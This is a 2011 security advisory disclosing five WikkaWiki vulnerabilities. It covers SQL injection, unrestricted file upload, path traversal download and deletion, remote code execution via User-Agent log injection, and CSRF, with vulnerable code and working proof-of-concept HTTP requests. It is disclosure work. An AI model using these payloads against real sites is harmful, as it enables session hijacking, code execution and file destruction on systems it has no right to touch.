----------------------------------------------------
WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities
----------------------------------------------------
 
author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://wikkawiki.org/
 
 
+---------------------------------------------------+
| SQL Injection in UPDATE statement (CVE-2011-4448) |
+---------------------------------------------------+
 
The vulnerable code is located in /actions/usersettings/usersettings.php
 
140.            default: // input is valid
141.            $this->Query("
142.                UPDATE ".$this->GetConfigValue('table_prefix')."users
143.                SET email = '".mysql_real_escape_string($email)."',
144.                    doubleclickedit = '".mysql_real_escape_string($doubleclickedit)."',
145.                    show_comments = '".mysql_real_escape_string($show_comments)."',
146.                    default_comment_display = '".$default_comment_display."',
147.                    revisioncount = ".$revisioncount.",
148.                    changescount = ".$changescount.",
149.                    theme = '".mysql_real_escape_string($usertheme)."'               
150.                WHERE name = '".$user['name']."'
151.                LIMIT 1"
152.                );
 
When handling  'update' action,  'default_comment_display' is  the only parameter  that isn't  sanitized with
mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple
lines query and latest version of MySQL doesn't allow to start comment with /* no followed by a */, sometimes
It's impossible  to alter the  'users' table content  for e.g.  changing the  admin's password, but  is still
possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.
This is a proof of concept request:
 
 POST /wikka/UserSettings HTTP/1.1
 Host: localhost
 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6
 Content-Length: 140
 Content-Type: application/x-www-form-urlencoded
 Connection: keep-alive
 
 action=update&email=test%40test.com&default_comment_display=',email=(SELECT sessionid FROM wikka_sessions WHERE userid='WikiAdmin'),theme='
 
If admin is currently logged in, attacker will see his session id in the email field of 'UserSettings' form.
If admin doesn't  explicitly logout (for e.g. close  the browser before click on 'Logout'  link) his session
remains however  stored into  DB, so  this attack  could success also  if admin  isn't currently  logged in.
Successful exploitation no needs magic_quotes_gpc = off because of 'magicQuotesWorkaround' function.
 
 
+------------------------------------------+
| Unrestricted File Upload (CVE-2011-4449) |
+------------------------------------------+
 
The vulnerable code is located in /actions/files/files.php
 
266.            elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name']))
267.            {
268.                $strippedname = str_replace('\'', '', $_FILES['file']['name']);
269.                $strippedname = rawurlencode($strippedname);
270.                $strippedname = stripslashes($strippedname);
271.                $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89
272.   
273.                if (!file_exists($destfile))
274.                {
275.                    if (move_uploaded_file($_FILES['file']['tmp_name'], $destfile))
276.                    {
277.                        $notification_msg = T_("File was successfully uploaded.");
278.                    }
 
If 'INTRANET_MODE' is explicitly enabled or if an attacker conduct a successful Session Hijacking attack
using the first  vulnerability, It's possible to  upload files that contains multiple  extensions due to
insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:
 
'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'
 
It contains some extensions  (e.g. mm, vpp...) that are rare to see in  a MIME type Apache configuration
setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:
 
 POST /wikka/test HTTP/1.1
 Host: localhost
 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3
 Content-Length: 251
 Content-Type: multipart/form-data; boundary=--------1503534127
 Connection: keep-alive
  
 ----------1503534127
 Content-Disposition: form-data; name="file"; filename="test.php.mm"
 Content-Type: application/octet-stream
  
 <?php phpinfo(); ?>
 ----------1503534127
 Content-Disposition: form-data; name="upload"
  
 Upload
 ----------1503534127--
  
Where 'test' is a page containing the {{files}} action.
  
  
+---------------------------------------------------------------------+
| Arbitrary File Download and Arbitrary File Deletion (CVE-2011-4450) |
+---------------------------------------------------------------------+
 
The vulnerable code is located in /handlers/files.xml/files.xml.php
 
53.    $file = $this->GetSafeVar('file', 'get');
54.    if ('.' == $file{0})
55.    {
56.        $this->Redirect($this->Href(), T_("Sorry, files of this type are not allowed."));
57.    }
58.    // do the action
59.    $action = $this->GetSafeVar('action', 'get');
60.    switch ($action)    # #312
61.    {
62.        // @@@ shared download code
63.        case 'download':
64.            header('Accept-Ranges: bytes');
65.            $_GET['file'] = basename($file); # #312
66.            $path = $upload_path.DIRECTORY_SEPARATOR.$file;    # #89, #312
 
...
 
101.            $fp = fopen($path, 'rb');
102.            while (!feof($fp))
103.            {
104.                $data = fread($fp, 4096);
105.                echo $data;
106.            }
107.            fclose($fp);
108.            exit();
109.        case 'delete':
110.            if ($this->IsAdmin() && FALSE===empty($file) && T_("File deleted") == $_SESSION['redirectmessage'])
111.            {
112.                $delete_success = @unlink($upload_path.DIRECTORY_SEPARATOR.$file); # #89, #312
 
The only check  of the user supplied filename  is done at line 54,  if the filename start with  a dot It's
rejected otherwise  It's accepted.  But this  isn't an efficiently  countermeasure against  Path Traversal
attacks, infact an attacker could request an URL like this:
 
 http://localhost/wikka/test/files.xml?action=download&file=/../../wikka.config.php
 
to download for e.g.  the configuration file (note that 'test' is a  page containing the {{files}} action,
but attachments aren't required for download or delete arbitrary files). Similarly, if an attacker conduct
a successful Session Hijacking attack using the first vulnerability, once he could send this POST request:
 
 POST /wikka/test HTTP/1.1
 Host: localhost
 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=2nobpqp3a1bsf3j1ccl0stj6l6
 Content-Length: 16
 Content-Type: application/x-www-form-urlencoded
 Connection: keep-alive
 
 file_to_delete=1
 
to set $_SESSION['redirectmessage'] and after he could request an URL like this to delete arbitrary files:
 
 http://localhost/wikka/test/files.xml?action=delete&file=/../../.htaccess
  
  
+---------------------------------------+
| Remote Code Execution (CVE-2011-4451) |
+---------------------------------------+
 
The vulnerable code is located in logSpam() function defined into /libs/Wakka.class.php
 
1315.     function logSpam($type,$tag,$body,$reason,$urlcount,$user='',$time='')
1316.     {
1317.        // set path
1318.        $spamlogpath = (isset($this->config['spamlog_path'])) ? $this->config['spamlog_path'] : DEF_SPAMLOG_PATH;    # @@@ make function
1319.        // gather data
1320.        if ($user == '')
1321.        {
1322.            $user = $this->GetUserName();                    # defaults to REMOTE_HOST to domain for anonymous user
1323.        }
1324.        if ($time == '')
1325.        {
1326.            $time = date('Y-m-d H:i:s');                    # current date/time
1327.        }
1328.        if (preg_match('/^mass delete/',$reason))            # @@@ i18n
1329.        {
1330.            $originip = '0.0.0.0';                            # don't record deleter's IP address!
1331.        }
1332.        else
1333.        {
1334.            $originip = $_SERVER['REMOTE_ADDR'];
1335.        }
1336.        $ua        = (isset($_SERVER['HTTP_USER_AGENT'])) ? '['.$_SERVER['HTTP_USER_AGENT'].']' : '[?]';
1337.        $body        = trim($body);
1338.        $sig        = SPAMLOG_SIG.' '.$type.' '.$time.' '.$tag.' - '.$originip.' - '.$user.' '.$ua.' - '.$reason.' - '.$urlcount."\n";
1339.        $content    = $sig.$body."\n\n";
1340.   
1341.        // add data to log            @@@ use appendFile
1342.        return $this->appendFile($spamlogpath,$content);    # nr. of bytes written if successful, FALSE otherwise
1343.  }
 
If 'spam_logging' option is enabled, an attacker could be able to inject arbitrary PHP code into 'spamlog_path'
file (that by default is './spamlog.txt.php') through $_SERVER['HTTP_USER_AGENT'] variable. Proof of concept:
 
 POST /wikka/test/addcomment HTTP/1.1
 Host: localhost
 Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83
 User-Agent: <?php phpinfo(); ?>
 Content-Length: 27
 Content-Type: application/x-www-form-urlencoded
 Connection: keep-alive
 
 body=foo&submit=Add+Comment
  
  
+--------------------------------------------+
| Cross-Site Request Forgery (CVE-2011-4452) |
+--------------------------------------------+
 
CSRF attacks countermeasures aren't properly implemented, so an attacker could
be able to create a malicious page containing an {{image}} action like this:
 
 {{image url="http://localhost/wikka/AdminUsers?user=TestUser&action=delete"}}
  
When the admin will visit this page, the 'TestUser' account will be deleted.
   
  
[-] Disclosure timeline:
 
[07/10/2011] - Vulnerabilities discovered
[09/10/2011] - Issues reported to http://wush.net/trac/wikka/ticket/1097
[10/10/2011] - RCE and CSRF vulnerabilities discovered
[11/10/2011] - RCE and CSRF vulnerabilities reported to http://wush.net/trac/wikka/ticket/1098
[27/10/2011] - I've provided possible bug fixes to vendor
[28/11/2011] - After seven weeks still no fix released
[30/11/2011] - Public disclosure